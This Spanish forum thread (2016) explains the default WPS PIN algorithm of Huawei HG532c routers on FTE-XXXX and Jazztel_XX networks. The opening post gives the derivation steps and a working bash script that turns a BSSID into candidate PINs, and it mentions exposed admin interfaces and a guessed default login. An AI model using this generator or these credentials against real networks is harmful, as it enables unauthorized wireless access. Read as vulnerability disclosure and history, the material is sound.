Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX) (Pagina 1) / Estudio de algoritmos y recopilación de PIN genéricos / Foro Wifi-libre.com

El libre pensamiento para un internet libre

No estas registrado.     

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

#1 27-11-2016 00:13:10

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,223

Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

Todo sobre el algoritmo de generación del PIN por defecto de los Huawei HG532c empleados en redes con eSSID Jazztel_XX FTE-XXX

  ¡Buenas noches a [email protected]!
Si has llegado a este hilo pensando encontrar la última brecha WPS del momento; siento decepcionarte... No es así.
  Hoy les voy a hablar de mi primer trabajo que he publicado hace tiempo ya, en 2012.
    5 años son muchos en el mundo del wifi y es probable que nunca encuentras un HG532c en actividad
   En su tiempo se veía mucho.
   

La box Huawei de orange y jazztel que parecía segura...

  El HG532c es un modelo muy similar al HG566a que empleaba vodafone.
   Dos modelos muy similares con un algoritmo PIN casi idéntico.
El HG532c es de la linea de producto  "EchoLife Wireless Home Gateway"
  Orange HG532c_FTE_Jazztel_WPSPIN_2.jpg   
(France Telecom España en estos tiempos: FTE)
  y Jazztel HG532c_FTE_Jazztel_WPSPIN_1.jpg
Un punto de acceso b/g/n - 300Mbps con cifrado WPA y una llave por defecto relativamente robusta.
  Se desconocía la brecha WPS así que se consideraban como "seguros" con su configuración por defecto

  Con la brecha WPS y el descubrimiento del algoritmo de generación del PIN; han pasado de ser de los más seguros a los más fácilmente hackeables
Gracias" a un WPS bien implementado que responde perfectamente a las peticiones de reaver y activado por defecto. tongue
  Una cosa no lo bastante comentada es que tenían también su interfaz de configuración abierta sobre el exterior por el puerto 80.
    Bastaba con entrar la IP del routeur para acceder a la interfaz desde cualquier sitio
Si no se desactivaba el acceso remoto y no se cambiaban los credenciales (creo que era admin:12324) muy mal íbamos...   

Algoritmo PIN por defecto

Decidí investigar el algoritmo de generación de la llave WPA y es un poco por suerte y sin querer que me ha saltado a la carra el algoritmo WPS.
  La llave era segura contra un brute force pero no era muy fuerte: 13 caracteres hexadecimales.
Con esta longitud y el juego de caracteres uno se dice que a lo mejor hay posibilidad de encontrar algo.

  La primera cosa que encontré repasando datos es que el numero de serie tenía una relación directa con las mac del dispositivo.
El numero de serie funcionaba con una base duodecimal y las mac, pues, como sabéis usan el formato hexadecimal.
Así que convertí todos los datos que tenía en base decimal para poder compararlos mas fácilmente.
  No me fijaba en los PINes (que son en base decimal) hasta que a un momento me quedé boca abierta.   
  Los 6 o 7 últimos dígitos de las cadenas enormes obtenidas convirtiendo todo el bssid a decimal eran similares a los 6 0 7 primeros dígitos del PIN.
  Había dado con la forma de reducir el brute force PIN a diez posibilidades.

  Fue cuestión de buscar un poco más con una buena base datos para dar con el algoritmo exacto que nos devuelve un PIN si se conoce el essid por defecto y tres si no se conoce. 

Detalles de las operaciones

   

1) Conociendo el eSSID por defecto = 1 PIN posible

 
  El eSSID por defecto acaba con dos digitales hexadecimales (FTE-XXXX o Jaztell-XX)

  1. Pillamos la mac wifi del dispositivo (bSSID) y substituimos sus dos últimos dígitos por los dos últimos dígitos del eSSID

  2. Guardamos los 6 últimos dígitos de la "mac acabada en eSSID"

  3. Añadimos 7 a esta cadena.

  4. Convertimos de hexadecimal a decimal y tenemos los 7 primeros dígitos de nuestro PIN
        * Si el valor es superior 9999999 (si la cadena tiene 8 dígitos) quitamos el primer dígito para tener una cadena de 7 dígitos
        * Si el valor es inferior a 1000000 (si la cadena tiene menos de 7 dígitos) rellenamos con cero a la izquierdo (zero padding)

  5. Generamos el checksum WPS (ultimo dígito del PIN) y tenemos el PIN valido por defecto del dispositivo

  1. eSSID por defecto: FTE-xxXX
      bSSID: yy:yy:yy:YY:YY:yy
        = guardamos la cadena  YYYYXX

  2. Añadimos 7 a la cadena
          YYYYXX + 7

  3. Convertimos a decimal haciendo que la cadena tenga siempre 7 digitos (quitando el eventual digtio sobrante o añadiendo los 0 que hagan falta para tenr 7 digitos)
       base 10 ( YYYYXX + 7 )

  4. Luego aplicamos la regla del checksum WPS para tener un PIN de 8 dígitos
        base 10 ( YYYYXX + 7 )  |  CHECKSUM WPS

   

2) Sin tener el eSSID por defecto = 3 PINes posibles

¿Qué hacer si el eSSID ha sido modificado?
  Observando la diferencia entre el eSSID y el bSSID de los datos que llegaban en abundancia se ha podido establecer con certidumbre que teníamos tres posibles eSSID para un bSSID.
  Para obtener los 4 dígitos hexadecimales de los eSSID posibles; pillamos los 4 últimos dígitos de la mac y añadimos  7,  o restamos 1 o 7.
  Para que quede más claro ...
Para un bssid xx:xx:xx:xx:XX:XX
 

  1. eSSID possible 1 = FTE-(XXXX + 7)

  2. eSSID possible 2 = FTE-(XXXX + 1)

  3. eSSID possible 3 = FTE-(XXXX - 7)

Si no queremos generar el eSSID por defecto podemos generar directamente el PIN en base del bSSID haciendo lo siguiente: 

  1. En el primer caso bSSID + 7 - 7 = bSSID

  2. En el segundo bSSID + 7 + 1bSSID + 8

  3. En el tercero bSSID + 7 + 7bSSID + 14

Luego convertimos a decimal y añadimos el checksum.
  ¡Tenemos los 3 PINES posibles!

Codigó PoC

  El algoritmo fue publicado directamente en WPSPIN junto al algoritmo ComputePIN.
Cómo los dos son muy similares se han juntado y fundido en una función para generar PINES
Dejo aquí un script bash básico con el algoritmo que genera los tres PINes posibles junto al eSSID por defecto al cuál corresponde:

#!/bin/bash
# Script: HG532c.sh
# Copyleft : GPL v.3
# Author: kcdtv @ wifi-libe
# Description: HG532c.sh will generate the default WPS PIN and SSID of Huawei HG532c, a popular box used by several ISP in Spain (orange and jazztel) 
# Visit www.wifi-libre.com for more details.  


#### Function

WPSCHECKSUM(){                                                                # Generate the 8th and last digit of the WPS PIN (checksum)  
ACCUM=$(($(echo $STRING | cut -c 1) * 3 + $(echo $STRING | cut -c 2) + $(echo $STRING | cut -c 3) * 3 + $(echo $STRING | cut -c 4) + $(echo $STRING | cut -c 5) * 3 + $(echo $STRING | cut -c 6) + $(echo $STRING | cut -c 7) * 3)) # Summing and multiplication with the digits following WPS checksum rule
CHECKSUM=$((((10 - $((ACCUM%10))))%10))                                       # Generating the checksum
}

###Script

echo -e "
               \e[41m _   _  ____ ____ _________      \e[100m  ____ ___ _   _ \e[0m
               \e[41m| | | |/ ___| ___|___ /___ \ ___ \e[100m |  _ \_ _| \ | |\e[0m
               \e[41m| |_| | |  _|___ \ |_ \ __) / __|\e[100m | |_) | ||  \| |\e[0m
               \e[41m|  _  | |_| |___) |__) / __/ (__ \e[100m |  __/| || |\  |\e[0m
               \e[41m|_| |_|\____|____/____/_____\___|\e[100m |_|  |___|_| \_|\e[0m
               \e[41m                                 \e[100m                 \e[0m

               coded by \e[45mkcdtv\e[0m for \e[104mwww.wifi-libre.com\e[0m copyleft GPL

           Script to generate the default PIN and eSSID of Huawei HG532c, 
                  a device used by the ISP orange and jazztel

--------------------------------------------------------------------------------

"
read -ep "Insert bSSID and press [Enter]: " BSSID  
while !(echo $BSSID | tr a-f A-F | egrep -q "^([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}$") # Loop to check the conformity of the the entered bSSID 
  do             
    echo -e " \e[1m\e[31mSyntax error\e[0m : Nonconforming mac address"
    echo -e "                                  
\e[36mPlease enter a valid bSSID (12 hexadecimal digits)
example: 34:6B:D3:01:23:45
\e[0m"
    read -ep "Insert bSSID and press [Enter]: " BSSID  
done                                                                                  
CONVERTEDBSSID=$(printf '%d\n' 0x$(echo $BSSID | cut -c 10,11,13,14,16,17))   # Convert from hexadecimal to decimal the 6 lasts digits of bSSID


###### Generating first PIN (PIN1) with it default SSID (SSID1) 
STRING=$(printf '%07d\n' $(($CONVERTEDBSSID%10000000)))                       # To ensure that we have strictly a 7 digits string 
WPSCHECKSUM                                                                   # To generate the WPS checksum
PIN1=$STRING$CHECKSUM                                                         
SSID1=$(printf "%X\n" $((0x$(echo $BSSID | cut -c 13-14,16-17) - 0x7)))       # The default SSID that goes with this PIN
SSID1=$( echo "0000$SSID1" | egrep -o '.{1,4}$')                              # Dirty but easy walk-around to get a 4 digits string for the essid 

##### Generating second PIN (PIN2) with it default SSID (SSID2)
STRING=$(printf '%07d\n' $(($(($CONVERTEDBSSID%10000000))+8)))                         # To generate the second PIN we have to add 8 to our converted bSSID
WPSCHECKSUM
PIN2=$STRING$CHECKSUM
SSID2=$(printf "%X\n" $((0x$(echo $BSSID | cut -c 13-14,16-17) + 0x1)))       # To generate the default ssid we have to add 1 (-7 for PIN1) 
SSID2=$( echo "0000$SSID2" | egrep -o '.{1,4}$') 

##### Generating third PIN (PIN3) with it default SSID (SSID3)
STRING=$(printf '%07d\n' $(($(($CONVERTEDBSSID%10000000))+14)))
WPSCHECKSUM
PIN3=$STRING$CHECKSUM
SSID3=$(printf "%X\n" $((0x$(echo $BSSID | cut -c 13-14,16-17) + 0x7)))       # for the third ssid: end bssid + 7
SSID3=$( echo "0000$SSID3" | egrep -o '.{1,4}$')

##### Display the results with a check on bssid
case $(echo $BSSID | cut -c 1-2,4-5,7-8) in
04C06F | 202BC1 | 285FDB | 346BD3 | 80B686 | 84A8E4 | B4749F | BC7670 | CC96A0 | F83DFF)   # FTE bssid
echo -e "

 WPS PIN is \e[1m\e[31m$PIN1\e[0m for essid \e[35mFTE-$SSID1\e[0m
 WPS PIN is \e[1m\e[31m$PIN2\e[0m for essid \e[35mFTE-$SSID2\e[0m
 WPS PIN is \e[1m\e[31m$PIN3\e[0m for essid \e[35mFTE-$SSID3\e[0m 

"
;;
C8D15E)
echo -e "

 WPS PIN is \e[1m\e[31m$PIN1\e[0m for essid \e[35mJazztel_$(echo $SSID1 | cut -c 3-4)\e[0m
 WPS PIN is \e[1m\e[31m$PIN2\e[0m for essid \e[35mJazztel_$(echo $SSID2 | cut -c 3-4)\e[0m
 WPS PIN is \e[1m\e[31m$PIN3\e[0m for essid \e[35mJazztel_$(echo $SSID3 | cut -c 3-4)\e[0m 

"
;;
*)
echo -e "

 This bSSID is not one used by HG532c
 The PIN are displayed but will surely not work...

PIN1 is $PIN1
PIN2 is $PIN2 
PIN3 is $PIN3

"
esac
echo -e  "
                     Bye! See in you in \e[33mwww.wifi-libre.com\e[0m!
"
exit 0 

HG532c_FTE_Jazztel_WPSPIN_3.jpg

Desconectado

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

#2 27-11-2016 17:11:59

Betis-Jesus
Very Important Usuario

Registrado: 29-03-2015
Mensajes: 237
Página Web

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

que notagia y que momento tan interesante fuer tu trabajo, fue una revolucion tan grandiosa que asta hoy en dia se sigue usando tu trabajo en todas la aplicaiones que usar el metodo de wps comun y cariñosamente llamado wpspin.

Desconectado

#3 27-11-2016 17:49:00

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,223

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

La verdad es que todo esto fue muy intenso, instructivo y sobre todo muy divertido. smile
   Y lo más valioso de la historia fue el compañerismo: Trabajar contigo, antares, compota, dirneet y todos los demás para que saquemos esto adelante.
     Me apunto para que sequemos otra cosa así... ¡Hay que repetir esto! big_smile

Desconectado

#4 27-11-2016 23:59:28

Betis-Jesus
Very Important Usuario

Registrado: 29-03-2015
Mensajes: 237
Página Web

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

pues abra que ponernos a trabaja como antes, cuando arrancamo no hay quien no parerm y creo que motivaciones tenemos y materia para estudia hay bastante un nuevo grupos de trabajo de wifi-libre abierto para quiene quiera participa, sin censura y sin materia para nadie si no para la comunidad

me falla mucho la teclar C de teclador creo que a teclado ya necesita una buena limpierza

Ultima edición por Betis-Jesus (28-11-2016 00:02:43)

Desconectado

#5 28-11-2016 00:50:53

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,223

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

Está bien quitarle oxido a la "tecla C" de vez en cuando... Sino se estropea. big_smile
  Lo que comentas sobre la investigación en modo "open source" entre individuos "libres e iguales" (para llamarlo de una forma) estoy de acuerdo contigo al 110%.
  Es que no me gusta para nada el concepto o la palabra de "grupo de trabajo"... Trabajo es una palabra sucia.  beuarkkk
Va con alienación, va con hierarquía (y viene del latino trepalium que significa tortura - las cosas que uno puede aprender mirando series big_smile)...
  No estamos en una puta fabrica, nadie es el jefe de nadie, todos libres y iguales y sobre todo NADA de trabajo. big_smile

Desconectado

#6 28-11-2016 19:34:11

Betis-Jesus
Very Important Usuario

Registrado: 29-03-2015
Mensajes: 237
Página Web

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

vale vale te entiendo, no te quiero desvia el hilo, y eso de trabajo no esta echo para mi, porque te siente muy presionado y a final no trabaja agusto totalmente libre.

Desconectado

#7 29-11-2016 01:00:25

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,223

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

Lo desvío porque me apetece también. big_smile
De todo modo no creo que haya mucho más que comentar sobre este algoritmo que lleva años fuera y esta incluidos desde años en los scripts WPS enfocado a auditorias en España.
Así que podemos hablar de cosas "anexas" big_smile
De todo modo estamos en la misma onda ya que hemos visto de cerca los dos adónde puede llevar la falta de transparencia y la hierarquía en un "grupo de trabajo" .
  Y aprovecho este post para señalar que podéis descargar el codigó en formato *.deb aquí: HG532cPIN: Generador Pin Huawei HG532c Jazztel_XX y FTE-XXXX
Ya sabéis, como una aplicación que instaláis con

sudo dpkg -i HG532cPIN_1_0-0.deb

con su entrada en el menú etc...
El código es el mismo que ne primer post menos las imperfecciones encontradas con shellcheck.

Desconectado

#8 29-11-2016 11:56:36

Betis-Jesus
Very Important Usuario

Registrado: 29-03-2015
Mensajes: 237
Página Web

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

la falta de trasparencia en el grupos era una de la cosa que yo me estaba quejando desde el principio, sin transparecia yo no trabajo bien porque estaria con la mosca detra de la oreja y como es visto el grupo no era totalmente transparente y por eso deje de colabora siendo un mueble dentro de grupos mi colaboraciones era nula cuando vi por donde estaba llendo el grupos de trabajo.

es script a no tener dependecia puede tambien funciona en route con openwrt sin problema estoy seguro

Desconectado

#9 29-11-2016 13:47:40

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,223

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

es script a no tener dependecia puede tambien funciona en route con openwrt sin problema estoy seguro

  Sin dudas.
Me preguntaba si funcionaría en mac también...
  ¿Conoces una forma de probar rápido en una consola macintosh (sin tener uno)?

Desconectado

#10 29-11-2016 16:57:58

Betis-Jesus
Very Important Usuario

Registrado: 29-03-2015
Mensajes: 237
Página Web

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

vaya humor tiene, anda hay si que me a dado bien dado. sin comentario

Desconectado

#11 29-11-2016 19:34:38

Flashed
Usuario

Registrado: 03-10-2016
Mensajes: 63

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

¡Guau buen trabajazo! Hacía tiempo que no veía una investigación de patrones como esta. Cometía el grave error de compartir datos con la web de mi lámpara, a los que supuestamente se enviaba a un "grupo de trabajo" para investigarlo, pero no se llegaba nunca a nada. Lo único que recibía era mensajes de gente que me pedía el PIN para intentar robarle el Wi-Fi al vecino. Algo ridículo e inutil, pues es obvio que los pines no eran genéricos.

Desconectado

#12 29-11-2016 20:30:40

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,223

Re: Algoritmo PIN de los HG532c de Huawei (redes FTE-XXXX y jazztel_XX)

Betis escribió:

vaya humor tiene, anda hay si que me a dado bien dado. sin comentario

  No estaba bromeando smile
  La consola mac usa bash y me gustaría realmente comprobar hasta que punto un script sin dependencias y con ordenes comunes redactado para linux es compatible con el interprete bash de macOS   
  Seguro que si busco encuentro un emulador de terminal mac para linux...
....Tampoco me va a quitar el sueño si no lo averiguo. big_smile
   La meta es hacer una app' para iphone y hacerme igual de rico que steve job... quiero decir que sus hijos.
@ flashed
Uno de los efectos perversos del funcionamiento con un "grupo de trabajo que trabaja en la sombra" es que no incita a investigar.
  Es más: incita a esperar a que "alguien lo haga para ti"
Crea una distorsión de la realidad, los usuarios "lambda" perciben a los "del grupo" como diferentes, se instaura una hierarquía.
  De cierto modo el conocimiento acaba instaurando un peculiar microcosmo en versión 2.0...
Es extraño ver como en un espacio supuestamente libre ( estamos en la web, hacemos lo que queremos, no importa quien seas, tienes un nick,) se reproducen esquemas propios a  las estructuras sociales no libres.

Desconectado

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

Temas similares

Tema Respuestas Vistas Ultimo mensaje
2 33 Hoy 19:52:45 por cardi1977
1 10 Hoy 17:35:38 por kcdtv
6 91 Hoy 00:46:04 por kcdtv
Hola me presento! por andr00meda
3 39 Ayer 20:24:02 por cardi1977
1 29 Ayer 17:28:59 por kcdtv

Pie de página

Información del usuario

Ultimo usuario registrado: yalvier01
Usuarios registrados conectados: 0
Invitados conectados: 8

Estadisticas de los foros

Número total de usuarios registrados: 394
Número total de temas: 666
Número total de mensajes: 4,676

Máx. usuarios conectados: 45 el 12-04-2016 12:02:20